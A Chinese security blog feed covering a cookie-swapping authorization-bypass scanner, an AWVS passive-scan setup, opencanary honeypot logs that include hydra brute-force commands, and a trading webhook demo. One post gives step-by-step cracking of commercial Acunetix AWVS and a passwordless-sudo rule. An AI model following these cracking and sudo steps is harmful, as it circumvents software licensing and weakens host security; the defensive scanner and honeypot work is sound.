距离写这个小轮子已经过去半年多了,希望记录下来作为自己路上的一个沉淀,在行业里有人再次提起“越权扫描器”时能有一个从前端到后端、从代理到消费、从设计到使用的感性参考。
因为个人认为IAST、DAST方向的安全产品主要解决了OWASP Top 10中传统的具备可规则化的安全漏洞,比如sql注入、xss、rce等;而越权漏洞本质上可以归结为“逻辑”漏洞,逻辑类型的漏洞想要通过传统的扫描器捕获,从技术原理上来说是比较难的。比如一个功能从提出需求、评审到研发、测试、上线,每个人对它的理解都是不同的,可能研发三天不看这个代码都会忘记这个功能具体做了什么事情,指望一个不具备“智慧”大脑的扫描器理解它,并找到漏洞更是不可能的,甚至这个产品功能本身就是一个逻辑错误(类似于伪需求)。
在成熟的互联网企业,统一的公共服务,标准的研发规范,成熟的自动化流水线,再加上代码框架正逐渐步入内生安全,这一切使得传统的Web应用安全漏洞在可视范围内会越来越少。而越权漏洞可能因为研发忘记对某个参数做逻辑或归属校验,漏洞发生的限制条件很低,而造成的危害可能是极大的。
通俗点讲就是自动化难检测、易发生、高危害,但我们可以力所能及自动化一部分“水平”或“垂直”越权漏洞。
谈到自动化,就少不了数据源的自动获取,比较常见的形式就是代理作为日志的生产者。市面上这么多类型的代理我们应该选择哪种既能满足高性能又能满足https的请求、响应体的全部呢?
1 | # -*- coding: utf-8 -*- |
mitmproxy4是官方维护的最新版本(调研时间2019年),重构过后的新版本不再向下兼容,更稳定,并发更高。
但在测试过程中,发现通过burpsuite代理mitmproxy开启200线程并发发包,再通过mitmproxy进行代理浏览网页就会发现打开网页速度变慢。
跟同行(b5mali4)小明哥交流过程中,他当初落地实践的是openresty代理方案。
经测试发现,openresty并发非常高,在跟mitmproxy同样的测试条件下,再通过openresty进行代理浏览网页非常流畅。
Goproxy地址:https://github.com/goproxy/goproxy
在学习时找到了猪猪侠3年前写的代理工具:https://github.com/ring04h/wyproxy2, 基本上把所需的功能已经都已经实现,只不过它是入库mysql,我们需要将解析后的数据打进“消息队列”。
在接公司的Mafka消息队列时顺便修正了代码上的一些小问题:
在Go 1.6之前, 内置的map类型是部分goroutine安全的,并发的读没有问题,并发的写可能有问题。自go 1.6之后, 并发地读写map会报错,这在一些知名的开源库中都存在这个问题,所以go 1.9之前的解决方案是额外绑定一个锁,封装成一个新的struct或者单独使用锁都可以。
但是到了Go1.9发布,它有了一个新的特性,那就是sync.Map,它是原生支持并发安全的map,不过它的用法和以前我们熟悉的map完全不一样,主要还是因为sync.map封装了更为复杂的数据结构,以实现比之前加锁map更优秀的性能。
1 | package main |
最终选择了goproxy,因为openresty相当于用nginx+lua开发,需要打补丁对https流量进行获取,打补丁后可以获取https的host,但始终无法获取请求体等。
Goproxy最终效果:
Charles+Http;Charles+Https;Burpsuite+Http;Burpsuite+Https均可以正常代理,数据进入消息队列。
生产者流量有了,剩下就是核心越权扫描器引擎。
思路简单来说就是“换Cookie”,即替换请求凭证,这里可能是Cookie中的token字段值、可能是header中BA认证的字段值,每个公司的情况不一。我们公司叫token,你们公司可能叫session或者sid等,甚至可能还没统一的身份认证机制,那我们替换的就是整个cookie值。
这相当于根据“换Cookie”请求后响应的不同来判断是否存在越权,比如原始请求的响应为“phone=170221”,替换成别人cookie后的响应为仍然为“phone=170221”,那就极可能是一个越权漏洞,这也是大家常用来测试越权漏洞的方法(或者通过遍历参数,如orderid之类)。
1)围绕着“换Cookie”的核心,我们将原始请求的响应叫做ResponseA,删除ssoid的响应叫做ResponseB,替换ssoid后的响应叫做ResponseC。
2)进一步通过删除ssoid、替换ssoid,对重新封装的请求分别发包,对3个Response的对比判断是否存在越权漏洞。
3)对比的方法我这里做了一个取巧的方式,通过相似度匹配,相似度定义为风险值,即相似度越高风险值也越大,越权漏洞发生的可能性越大。相似度匹配的算法使用ssdeep(ssdeep也常用于webshell检测)。
我们通过代码来梳理一下具体实现逻辑,在函数bacRequest中把流量日志logPayload反序列化成[]byte的json格式的reqLog,通过reqLog.RequestHeader取出header数据,然后通过processCookie函数,用change字符串“删”或“替换”作为入参判断,对header内关键的认证字段进行改变。接着下面代码会对原始请求取reqLog.Method判断是“GET”请求,还是“POST”请求,将改变后的header、原始reqLog.URL、原始的reqLog.RequestBody重发包,这时riskBac函数会对重发包的响应 []byte(r.String())与原始响应firstResp进行对比,计算riskValue风险值(相似度)。最后通过httpLogUpdate将需要的数据插入Mysql数据库做后续的结果展示等。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66package main
import (
"encoding/json"
"fmt"
"github.com/imroc/req"
"log"
)
func bacRequest(logPayload string, change string, id int64) {
var reqLog Response
//fmt.Println(string(logPayload))
err := json.Unmarshal([]byte(logPayload), &reqLog) //把流量日志logPayload反序列化成[]byte的json格式的reqLog
if err != nil {
fmt.Println("json Unmarshal failed:", err)
}
//resJsonBool := strings.Contains(reqLog.ResponseHeader.Get("Content-Type"), "application/json")
header, err := processCookie(reqLog.RequestHeader, change)
if err != nil {
log.Println("处理header错误:", err)
return
}
firstResp := []byte(reqLog.ResponseBody) // firstResp 是原始请求里的Response
if reqLog.Method == "GET" {
r, _ := req.Get(reqLog.URL, header) // Request请求开始
//log.Println("修改请求的响应:",r.String()) //Mysql
riskValue := riskBac(firstResp, []byte(r.String()))
//log.Println("相似度的值为: ",riskValue)
reqHeader, _ := json.Marshal(r.Request().Header)
//reqBody, err := json.Marshal(r.Request().Body) //空
respHeader, _ := json.Marshal(r.Response().Header)
//log.Println(respHeader)
httpLogUpdate(string(reqHeader), reqLog.RequestBody, string(respHeader), r.String(), id, change, riskValue)
} else if reqLog.Method == "POST" {
// 1. 看Content-type,如果是json,就要用req的json方法请求;
header.Del("Content-Length")
r, err := req.Post(reqLog.URL, header, reqLog.RequestBody)
if err != nil {
log.Println("POST请求失败:", err)
}
riskValue := riskBac(firstResp, []byte(r.String()))
reqHeader, _ := json.Marshal(r.Request().Header)
//reqBody, err := json.Marshal(r.Request().Body) //空
respHeader, _ := json.Marshal(r.Response().Header)
httpLogUpdate(string(reqHeader), reqLog.RequestBody, string(respHeader), r.String(), id, change, riskValue)
} else if reqLog.Method == "OPTIONS" {
r, err := req.Options(reqLog.URL, header, reqLog.RequestBody)
if err != nil {
log.Println("OPTIONS请求失败:", err)
}
riskValue := riskBac(firstResp, []byte(r.String()))
reqHeader, _ := json.Marshal(r.Request().Header)
//reqBody, err := json.Marshal(r.Request().Body) //空
respHeader, _ := json.Marshal(r.Response().Header)
httpLogUpdate(string(reqHeader), reqLog.RequestBody, string(respHeader), r.String(), id, change, riskValue)
}
}
1 | package main |
1 | package main |
用来做第三者的“替换cookie”也是极其重要的,它决定了在越权检测中准确性的高低。针对公司内网使用SSO进行认证的应用,我在公司申请了虚拟账号,将此账号的权限设置成最低,通过定时任务每天凌晨对认证服务进行一次请求,获取“鲜活”的cookie,用于替换和删除。
从下面代码可以看到每天凌晨1点,去走一次认证流程,将凭证存入redis,其中对业务进行了区分,比如SSO的应用,C端的应用生活费、助贷、分期,对C端不同业务制造出不同状态的账号。为什么要这样?我将在文章最后进行简单解释。
1 | package main |
扫描器后台是直接提供给用户使用的,所以产品的界面核心功能(漏洞展示)是否直观、使用是否繁琐、是否有使用上的技术门槛直接决定了这款产品最终能否能被终端客户所接受。
在日常工作中,我发现不同的人对使用上的“技术门槛”的接受程度是不一样的,有人觉得“Burpsuite”门槛就十分高了。如果你的产品存在此类“技术门槛”,到最后只能成为摆设或通过外包服务的方式变相使用,最终成为自己人用的产品。
在这个产品的设计过程中,核心功能就是越权漏洞的Response对比,如果能让人一眼看出哪些请求接口存在越权,那就成功了一半。但实际上我在使用的过程中虽然有“风险值”作为参考排序,通过肉眼判断对比response列表,点击列表展开仍然非常“繁琐”,甚至于接口太多导致手点的麻木了。后期为了设计一个人性化的界面,思考良久,也“偷窥”了一下行业内做的比较好的一家乙方产品,发现其类似功能也是需要点击列表进而查看漏洞比对的详情,所以这类核心功能要想最终能够较好的落地,是需要实践检验的,离不开开源交流和思想碰撞。
后台代码就非常多了,后端使用gin作为Web框架,vue作为前端框架,最终我也将awvs这个主动扫描器作为被动扫描器的引擎加入到后端,包括同事用python写的扫描器轮子。
点击“创建目标”创建扫描任务,创建完成扫描目标后,点击“常规扫描”将调用awvs进行常规漏洞扫描;点击“越权扫描”对任务进行后端“替换cookie”的配置
在弹窗的对话框中,选择是使用“SSO“的虚拟账号,还是选择”Passport“的“生活费”账号、生意贷账号等进行凭证的替换和删除。
可以看到风险值高的接口排在最上,其他字段还有host、method、url,是不是有点像web版本的burpsuite。点击蓝色的“结果”就会弹出3个Response的对比。如果这里的接口非常多,使用上将会非常麻烦,你就要点击上百次“结果”查看(今天工位的MAC触控板格外的烫手,富婆还是没有出现,我的心好累)。
没有服务意识的网络安全爱好者不是一个好的打工人…如果想从用户体验、功能实用的角度出发设计一个好的越权扫描器显然我写的轮子是失败的,越到后面功能上的细节考虑的越多,越要贴合业务。比如用户账号这一块,从QA小姐姐那里调研才知道一个BU的业务线不同产品的用户体系也会不同,账号的授信与否决定了后面逻辑是可以请求成功。
畅想一下未来,也许越权扫描也会出现对应的场景规则,比如贷款类业务、打车类业务、保险类业务,比如身份证号、银行卡号、手机号,沉淀规则,打磨框架,自动化越权检测更通用和便捷。
]]>去年杂七杂八看了一些量化交易的视频算是入了门。本地回测的库有Catalyst(基于zipline)、vnpy、Zipline。
这篇文章是一个简单的Tradingview(也可以回测)交易策略通过自己写的python web程序对接火币交易所进行现货买卖的demo。
简单来说:Tradingview webhook->python web-> huobi
打开首页你就会发现很多别人已经写好的策略在进行展示,但这些策略往往应用于其他传统金融市场,而不是数字货币。而对于我这种不懂交易会写一点点代码的人只能用别人的策略在币圈进行回测优化。
https://cn.tradingview.com/scripts/
这个页面里就是所有的开源策略。
选其中一个你认为还不错的,进行我们下面关键的web hook设置。
我这里随便举个例子:
比如选SuperTrend策略,点“添加至收藏脚本”
左侧出现的就是btc的k线图
点击“指标&策略”,然后点击你收藏的“SuperTrend”策略脚本,这时你看图中的数字3那里,就出现了策略在盘面的走势应用图,比如箭头所指的sell,就是策略给的卖出信号。
看上图,没想到这个策略在今天还是挺准的,如果都在它给的点位买入卖出或者做多做空,应该是能赚到钱的。
注:本人没有用它做实盘策略,自己要用请自行评估。
这一步是本篇文章的重点,就是如何使用tradingview的Webhook对接python web程序。tradingview我下文统一叫tv吧,太长了不好打字。
点击“警报”图标,会弹出一个对话框。
点击下拉,选中supertrend策略。
注意我红框里面选中的内容,第一个框是选策略,第二个框是策略的买入信号(待会儿我们还要创建一个卖出信号的警告),第三个框是“每根K线一次”,简单的解释就是可以一直跑,一旦符合指标就提示,其他的选项就是用一次就停止了之类的,不过多解释了。最后点创建,如果不接入webhook的话,平时人工盯盘这样用就足够了。
但是量化重点在webhook,下面我们介绍如何接入它。
先给出python的web程序代码:
1 | #!/usr/bin/env python3 |
这段程序用到了两个python类库,一个是tornado做web,一个ccxt与交易所api对接。
ccxt 是 github上最火热的加密货币交易库, 包含了近百个交易所api。支持 Python、JavaScript、PHP 三种语言调用。对于这个行业来说,各个交易所 API 签名方式、数据结构都不相同,如果一个个接入适配可以说费时费力,ccxt的出现解决了这个问题。
简单来说ccxt就是把所有的交易所的各自不同的api接口都封装好了,你只要在代码里配置好自己交易所的api key,就可以用统一的函数去实现交易。这样的好处是辛辛苦苦写的策略代码,想移植到火币就改一下火币的api key,想移植到币安就改一下币安的key,其他代码根本不用动。
注:ccxt当前还没有封装火币的季度合约接口,想做合约量化交易的可能要等官方实现或者自己实现。做现货是没问题的。
上面这段程序如何运行:1
python huobi.py
这样就运行起来了,如果你要后台运行就1
nohup python huobi.py &
假设你的购买的服务器ip是123.123.123.123,当你运行之后,post请求http://123.123.123.123/btc?buy
就会走到1
2
3
4
5
6
7
8def post(self):
buy = self.get_arguments("buy")
sell = self.get_arguments("sell")
if buy:
buy_btc()
if sell:
sell_btc()
self.write("Hello,Tornado.")
函数里,程序判断post请求中有buy参数,那就执行buy_btc(),买入btc。
1 | def buy_btc(): |
buy_btc函数里面我写的是以市价(createMarketBuyOrder)买入btc,可以去查一下这个函数createMarketBuyOrder。为什么是0.9*9000?因为我以市价买入时,只能买入这么多usdt的btc。买入逻辑需要你自己去设计,我这里只是当时的例子….
卖出跟买入的逻辑同理,可以自己看代码理解。web程序的运行逻辑就是如上所述。
怎么与webhook对接呢?看到上面其实已经很明显了,只要webhook可以请求我们服务器web程序的post接口带着buy或者sell参数就可以了。所以在webhook处配置http://123.123.123.123/btc?buy
点创建,就是一个配置了webhook的警报。这样在策略触发警报时就会执行警报配置里面的内容,比如触发Webhook。
注意Webhook触发请求时是POST请求,不是GET请求,我代码里面的get请求方法忽略就好。。POST请求里面还能携带下方表单里面设置的数据,这些我在demo里面就详细阐述了。
再创建一个卖出的警告,步骤跟上面创建警报的步骤是一样的,只是选的是相反的如下图,不再文字描述
这样tv的webhook通知python对接交易所就做完了。
对了,Webhook功能是收费的,tv收费也有点小贵…
“本是同根生,相煎何太急”,同是韭菜,我已经亏了小县城的半套房子的钱了。这个市场没有踏入的最好也别进来了,稳定的买买基金、保本理财还是挺香的,币圈到处都是庄家割你的镰刀。
上述代码只是demo,提供tv对接实盘的参考。tv也可以通过webhook对接fmz.com发明者量化交易平台。tv听说也有chrome插件之类的对接啥啥的。
我现在已经不是这种略显笨拙的方法去回测,去对接实盘。
因为不懂金融也不懂交易,我跟朋友通过tv上或者网络上别人开源的策略进行优化,然后把tv上用pine script语言写的脚本改写成python,在fmz上回测更精准,在fmz上对接实盘更容易一些,如此拾人牙慧(好可怜)~
钱没赚到,表情倒是收藏了一大堆!我还有几个难兄难弟等着我的策略上车致富呢~不说了,先跑个半年看看…
]]>我已经把awvs变成了被动扫描器引擎,其中一些关键环节,我会做一些总结以笔记形式发出来。
awvs可以通过导入burpsuite的导出xml文件作为被动扫描器流量的流量输入,它还可以接收如下所述的数据格式
Accepted formats include text file with a list of URLs (.txt), Fiddler session archives (.saz), Swagger files (.json, .yaml or .yml), Web Services Definition Files (.wsdl), BURP saved files (.xml) and state files, Selenium (.html, .side), Web Application Description Language (.wadl), ASP.NET Web Forms Project Files (.csproj, .vbproj), Paros log files (.session.data), Postman Collections v2 (.json) or HTTP archive files (*.har)
1 | <?xml version="1.0"?> |
精简后xml数据格式:
为什么需要精简成如下数据格式?因为经过调研调试,发现url节点是必须的,而request节点awvs会在post请求中使用,method节点多一个也不多,就顺便带入。其他节点删除后,并没有明显的影响漏洞扫描结果数据。在awvs12中url节点还不是必须的,而awvs13不设置url节点会无法扫描”terminate called after throwing an instance of ‘ax::utility::WvsException’\n what(): HttpJob: unable to set url:”。1
2
3
4
5
6
7<items burpVersion="2.1.06">
<item>
<url><![CDATA[http://awvshello.m.apple.com/vulnerabilities/sqli_blind/?id=qyf&Submit=Submit]]></url>
<method><![CDATA[GET]]></method>
<request base64="true"><![CDATA[R0VUIC92dWxuZXJhYmlsaXRpZXMvc3FsaV9ibGluZC8gSFRUUC8xLjENClJlZmVyZXI6IGh0dHA6Ly9hd3ZzcXlmLnRlc3Quc2Fua3VhaS5jb20vdnVsbmVyYWJpbGl0aWVzL3NxbGlfYmxpbmQvDQpIb3N0OiBhd3ZzcXlmLnRlc3Quc2Fua3VhaS5jb20NClVwZ3JhZGUtSW5zZWN1cmUtUmVxdWVzdHM6IDENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzE1XzMpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS83OS4wLjM5NDUuMTMwIFNhZmFyaS81MzcuMzYNCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksaW1hZ2Uvd2VicCxpbWFnZS9hcG5nLCovKjtxPTAuOCxhcHBsaWNhdGlvbi9zaWduZWQtZXhjaGFuZ2U7dj1iMztxPTAuOQ0KQWNjZXB0LUxhbmd1YWdlOiB6aC1DTix6aDtxPTAuOQ0KQ29va2llOiBfbHhzZGtfY3VpZD0xNmY1NGVkMWYwNGM4LTA5OTE4N2Y3NmFlNzk2LTFkMzM2YjVhLTE2ODAwMC0xNmY1NGVkMWYwNWM4OyBfbHhzZGs9MTZmNTRlZDFmMDRjOC0wOTkxODdmNzZhZTc5Ni0xZDMzNmI1YS0xNjgwMDAtMTZmNTRlZDFmMDVjODsgdT0xMjkwNTEzNDgyOyBfZ2E9R0ExLjIuNDg0Mzc2ODA4LjE1Nzk0MzAzMTQ7IF9seHNka19zPTE3MDFlYzg4ODJhLTIyNC1mN2UtZmIxJTdDcXV5aWZlaSU3QzI3OyBQSFBTRVNTSUQ9cjJkYmtudTRzbnFpYWRiYmllM2dnOWZxYTA7IHNlY3VyaXR5PWxvdw0KDQo=]]></request>
</item>
</items>
1 | package main |
输出结果:
对base64数据在demo中没有转码,这里只做整体数据格式参考1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52<items burpVersion="2.1.06">
<item>
<url><![CDATA[http://123.com]]></url>
<method><![CDATA[GET]]></method>
<request base64="true"><![CDATA[bbbccc]]></request>
</item>
<item>
<url><![CDATA[http://123.com]]></url>
<method><![CDATA[GET]]></method>
<request base64="true"><![CDATA[bbbccc]]></request>
</item>
<item>
<url><![CDATA[http://123.com]]></url>
<method><![CDATA[GET]]></method>
<request base64="true"><![CDATA[bbbccc]]></request>
</item>
<item>
<url><![CDATA[http://123.com]]></url>
<method><![CDATA[GET]]></method>
<request base64="true"><![CDATA[bbbccc]]></request>
</item>
<item>
<url><![CDATA[http://123.com]]></url>
<method><![CDATA[GET]]></method>
<request base64="true"><![CDATA[bbbccc]]></request>
</item>
<item>
<url><![CDATA[http://123.com]]></url>
<method><![CDATA[GET]]></method>
<request base64="true"><![CDATA[bbbccc]]></request>
</item>
<item>
<url><![CDATA[http://123.com]]></url>
<method><![CDATA[GET]]></method>
<request base64="true"><![CDATA[bbbccc]]></request>
</item>
<item>
<url><![CDATA[http://123.com]]></url>
<method><![CDATA[GET]]></method>
<request base64="true"><![CDATA[bbbccc]]></request>
</item>
<item>
<url><![CDATA[http://123.com]]></url>
<method><![CDATA[GET]]></method>
<request base64="true"><![CDATA[bbbccc]]></request>
</item>
<item>
<url><![CDATA[http://123.com]]></url>
<method><![CDATA[GET]]></method>
<request base64="true"><![CDATA[bbbccc]]></request>
</item>
</items>
1 | do-release-upgrade |
升级完成后版本为Ubuntu 18.04.2 LTS \n \l
1 | sudo apt-get install libxdamage1 libgtk-3-0 libasound2 libnss3 libxss1 libx11-xcb-dev |
若安装出错,可参考我的下列步骤:
可能安装的并不顺利,尤其libx11-xcb-dev,这时候你需要根据错误提示安装它的合适版本的依赖包。1
2
3sudo apt-get install libxdmcp6=1:1.1.2-1.1
sudo apt-get install libxcb1=1.11.1-1ubuntu1
sudo apt-get install libxcb1-dev
下载地址:https://www.acunetix.com/web-vulnerability-scanner/demo/
填写好申请人的邮箱等信息,提交就可以跳转到真实的软件包下载地址。
截止2019-06-17 15:57:39我下载的最新版本为Version: 12.0.190515149(15 May 2019)
不想从官网下载或者官网已经取消这种下载流程的,可以从本文底部的下载链接进行下载。
1 | chmod 777 acunetix_trial.sh |
默认的awvs的端口是13443,因为其他原因我需要把端口修改为443.
调试过程就略了。。。直接给出解决方案吧。
修改web端口
1 | vi /home/acunetix/.acunetix_trial/wvs.ini |
将server.port=13443改为server.port=443
添加/etc/sudoers,免密码可sudo用户。
编辑/etc/sudoers1
vi /etc/sudoers
加一行内容,并保存1
acunetix ALL=(ALL) NOPASSWD: ALL
在/home/acunetix/.acunetix_trial/start.sh第19行,行首添加sudo。
重新启动awvs1
2
3
4
5sudo systemctl restart acunetix_trial.service
启动和停止命令
sudo systemctl start acunetix_trial.service
sudo systemctl stop acunetix_trial.service
注意要把破解补丁复制/home/acunetix/.acunetix_trial/v_190515149/scanner/目录下,其中v_190515149是你的awvs安装完成后根据版本生成的目录。
1 | apt-get install unzip |
破解成功后会显示:
1 | < xs3c.co > |
执行完成patch之后,尽快执行如下的命令,不然license会被修改的。1
chattr +i /home/acunetix/.acunetix_trial/data/license/license_info.json
—————–2019-08-16 19:35:27更新——————————
最开始我参考网络上的文章进行破解,发现破解成功。但后来10几天过去了,再登录到awvs里新建了任务,发现扫描失败。通过日志的查看和命令行模式的调试1
/home/acunetix/.acunetix_trial/v_190325161/scanner/wvsc /scan http://xxx.com /profile xss /satus /log logfile.txt
发现是license过期了。
参考下t00ls上的帖子《Linux AWVS 12完美破解!!!》:
https://www.t00ls.net/viewthread.php?tid=52159
1 | 好多大佬说,破解完成后用段时间就失效了,扫不了了。只要删除wa_data.dat文件即可。亲测可用!!! |
在安装完成之后,删除wa_data.bat文件,确实可用。但是10几天之后,awvs会自动再次生成wa_data.bat文件,查看报错提示是license error。
解决:1
2
3rm /home/acunetix/.acunetix_trial/data/license/wa_data.dat
touch /home/acunetix/.acunetix_trial/data/license/wa_data.dat
chattr +i /home/acunetix/.acunetix_trial/data/license/wa_data.dat
意思是到期之后将wa_data.dat文件删除,然后手动创建一个wa_data.dat,最后锁定wa_data.dat文件不可写入。
目前awvs破解之后的版本依然可用。
给个awvs的安装包下载地址:
https://mega.nz/#F!xOA00CSI!BOvzk-O4SFVlSuep0KAHJw
opencanary/modules目录下为模拟的服务或协议脚本。
opencanary/logger.py 为日志生成脚本,我就是在这个文件里直接改了几行代码向web端发送日志,例如post2server函数和log函数;且LoggerBase类定义了各种日志类型。
我将opencanary蜜罐框架分析的日志和服务(协议)用xmind进行记录,方便有兴趣的同学进行对照着开发。
其中opencanary_web数据库honeypot的OpencanaryLog表的字段也是根据根据日志所包含的所有字段进行设计和开发中随时扩表的。
当把opencanary配置选项全部开启之后
1 | tcp 0 0 0.0.0.0:2222 0.0.0.0:* LISTEN 12683/python |
访问蜜罐http页面
1 | {"dst_host": "172.18.200.58", "dst_port": 80, "local_time": "2019-01-07 13:47:45.817940", "logdata": {"HOSTNAME": "172.18.200.58", "PASSWORD": "admin888", "PATH": "/index.html", "SKIN": "nasLogin", "USERAGENT": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:61.0) Gecko/20100101 Firefox/61.0", "USERNAME": "admin"}, "logtype": 3001, "node_id": "opencanary-1", "src_host": "172.18.205.14", "src_port": 54488} |
任意ftp客户端
1 | {"dst_host": "172.18.200.58", "dst_port": 21, "local_time": "2019-01-07 13:50:54.264032", "logdata": {"PASSWORD": "admin123", "USERNAME": "ftpadmin"}, "logtype": 2000, "node_id": "opencanary-1", "src_host": "172.18.205.14", "src_port": 54573} |
任意SSH客户端
1 | {"dst_host": "172.18.200.58", "dst_port": 2222, "local_time": "2019-01-07 13:54:27.811101", "logdata": {"SESSION": "3"}, "logtype": 4000, "node_id": "opencanary-1", "src_host": "172.18.205.14", "src_port": 54639} |
1 | {"dst_host": "172.18.200.58", "dst_port": 2222, "local_time": "2019-01-07 13:54:27.888686", "logdata": {"LOCALVERSION": "SSH-2.0-OpenSSH_5.1p1 Debian-4", "REMOTEVERSION": "SSH-2.0-OpenSSH_7.0 ZOC_7.16.1"}, "logtype": 4001, "node_id": "opencanary-1", "src_host": "172.18.205.14", "src_port": 54639} |
1 | {"dst_host": "172.18.200.58", "dst_port": 2222, "local_time": "2019-01-07 13:54:32.444224", "logdata": {"LOCALVERSION": "SSH-2.0-OpenSSH_5.1p1 Debian-4", "PASSWORD": "root123", "REMOTEVERSION": "SSH-2.0-OpenSSH_7.0 ZOC_7.16.1", "USERNAME": "root"}, "logtype": 4002, "node_id": "opencanary-1", "src_host": "172.18.205.14", "src_port": 54639} |
telnet 172.18.200.58
1 | {"dst_host": "172.18.200.58", "dst_port": 23, "honeycred": false, "local_time": "2019-01-07 13:56:45.341785", "logdata": {"PASSWORD": "admin888", "USERNAME": "admin123"}, "logtype": 6001, "node_id": "opencanary-1", "src_host": "172.18.205.14", "src_port": 54676} |
mysql -h172.18.200.58 -uroot -p
1 | {"dst_host": "172.18.200.58", "dst_port": 3306, "local_time": "2019-01-07 13:58:25.922257", "logdata": {"PASSWORD": "18076c09615de80ddb2903191b783714918b4c4f", "USERNAME": "root"}, "logtype": 8001, "node_id": "opencanary-1", "src_host": "172.18.220.253", "src_port": 46662} |
git clone git://192.168.1.7:9418/tmp.git
1 | {"dst_host": "192.168.1.7", "dst_port": 9418, "local_time": "2019-01-05 15:38:46.368627", "logdata": {"HOST": "192.168.1.7:9418", "REPO": "tmp.git"}, "logtype": 16001, "node_id": "opencanary-1", "src_host": "192.168.1.3", "src_port": 57606} |
git clone git://192.168.1.7:9418/tmp.git
ntp监听的是udp的123端口
1 | {"dst_host": "0.0.0.0", "dst_port": 123, "local_time": "2019-01-05 15:58:52.075987", "logdata": {"NTP CMD": "monlist"}, "logtype": 11001, "node_id": "opencanary-1", "src_host": "192.168.1.6", "src_port": 57886} |
1 | (env) [root@honeypot Honeypot]# redis-cli -h 192.168.1.7 |
1 | {"dst_host": "192.168.1.7", "dst_port": 6379, "local_time": "2019-01-05 16:05:11.637269", "logdata": {"ARGS": "", "CMD": "COMMAND"}, "logtype": 17001, "node_id": "opencanary-1", "src_host": "192.168.1.6", "src_port": 34471} |
1 | {"dst_host": "192.168.1.7", "dst_port": 6379, "local_time": "2019-01-05 16:08:14.786249", "logdata": {"ARGS": "*", "CMD": "KEYS"}, "logtype": 17001, "node_id": "opencanary-1", "src_host": "192.168.1.6", "src_port": 34471} |
1 | {"dst_host": "192.168.1.7", "dst_port": 6379, "local_time": "2019-01-05 16:09:36.418200", "logdata": {"ARGS": "get requirepass", "CMD": "CONFIG"}, "logtype": 17001, "node_id": "opencanary-1", "src_host": "192.168.1.6", "src_port": 34471} |
1 | {"dst_host": "192.168.1.7", "dst_port": 6379, "local_time": "2019-01-05 16:10:09.802402", "logdata": {"ARGS": "admin", "CMD": "AUTH"}, "logtype": 17001, "node_id": "opencanary-1", "src_host": "192.168.1.6", "src_port": 34471} |
telnet 192.168.1.6 8001
1 | {"dst_host": "192.168.1.6", "dst_port": 8001, "local_time": "2019-01-05 17:18:51.601478", "logdata": {"BANNER_ID": "1", "DATA": "", "FUNCTION": "CONNECTION_MADE"}, "logtype": 18002, "node_id": "opencanary-1", "src_host": "192.168.1.3", "src_port": 59176} |
1 | {"dst_host": "192.168.1.6", "dst_port": 8001, "local_time": "2019-01-05 17:19:12.996007", "logdata": {"BANNER_ID": "1", "DATA": "", "FUNCTION": "DATA_RECEIVED"}, "logtype": 18004, "node_id": "opencanary-1", "src_host": "192.168.1.3", "src_port": 59176} |
LOG_TCP_BANNER_CONNECTION_MADE = 18001
LOG_TCP_BANNER_KEEP_ALIVE_CONNECTION_MADE = 18002
LOG_TCP_BANNER_KEEP_ALIVE_SECRET_RECEIVED = 18003
LOG_TCP_BANNER_KEEP_ALIVE_DATA_RECEIVED = 18004
LOG_TCP_BANNER_DATA_RECEIVED = 18005
我在mac电脑上用vnc viewer连接
1 | {"dst_host": "192.168.1.7", "dst_port": 5000, "local_time": "2019-01-06 08:21:28.951940", "logdata": {"VNC Client Response": "58c00be9ee5b7f3b666771dd2bda9309", "VNC Password": "<Password was not in the common list>", "VNC Server Challenge": "953e2dff7e4d3a3114527c282817ce1d"}, "logtype": 12001, "node_id": "opencanary-1", "src_host": "192.168.1.6", "src_port": 54634} |
我在mac电脑上用Microsoft Remote Desktop Beta.app连接
1 | {"dst_host": "192.168.1.7", "dst_port": 3389, "local_time": "2019-01-06 08:59:13.890934", "logdata": {"DOMAIN": "", "HOSTNAME": "HelloHost", "PASSWORD": "helloword", "USERNAME": "administrator1"}, "logtype": 14001, "node_id": "opencanary-1", "src_host": "192.168.1.6", "src_port": 59955} |
1 | {"dst_host": "192.168.1.7", "dst_port": 3389, "local_time": "2019-01-06 08:59:26.868856", "logdata": {"INPUT": ""}, "logtype": 14001, "node_id": "opencanary-1", "src_host": "192.168.1.6", "src_port": 59955} |
windows console模式登录的会出现INPUT字段
hydra -l adminsip -p password 192.168.1.7 sip
1 | {"dst_host": "0.0.0.0", "dst_port": 5060, "local_time": "2019-01-06 09:55:12.578148", "logdata": {"HEADERS": {"call-id": ["1337@192.168.1.7"], "content-length": ["0"], "cseq": ["1 REGISTER"], "from": ["<sip:adminsip@192.168.1.7>"], "to": ["<sip:adminsip@192.168.1.7>"], "via": ["SIP/2.0/UDP 10.0.2.15:46759;received=192.168.1.7"]}}, "logtype": 15001, "node_id": "opencanary-1", "src_host": "192.168.1.7", "src_port": 46759} |
hydra -p password 192.168.1.7 snmp
1 | {"dst_host": "0.0.0.0", "dst_port": 161, "local_time": "2019-01-06 11:17:27.266214", "logdata": {"COMMUNITY_STRING": "password", "REQUESTS": ["1.3.6.1.2.1.1.1"]}, "logtype": 13001, "node_id": "opencanary-1", "src_host": "192.168.1.7", "src_port": 47112} |
sudo nmap -v -Pn -O 192.168.1.7
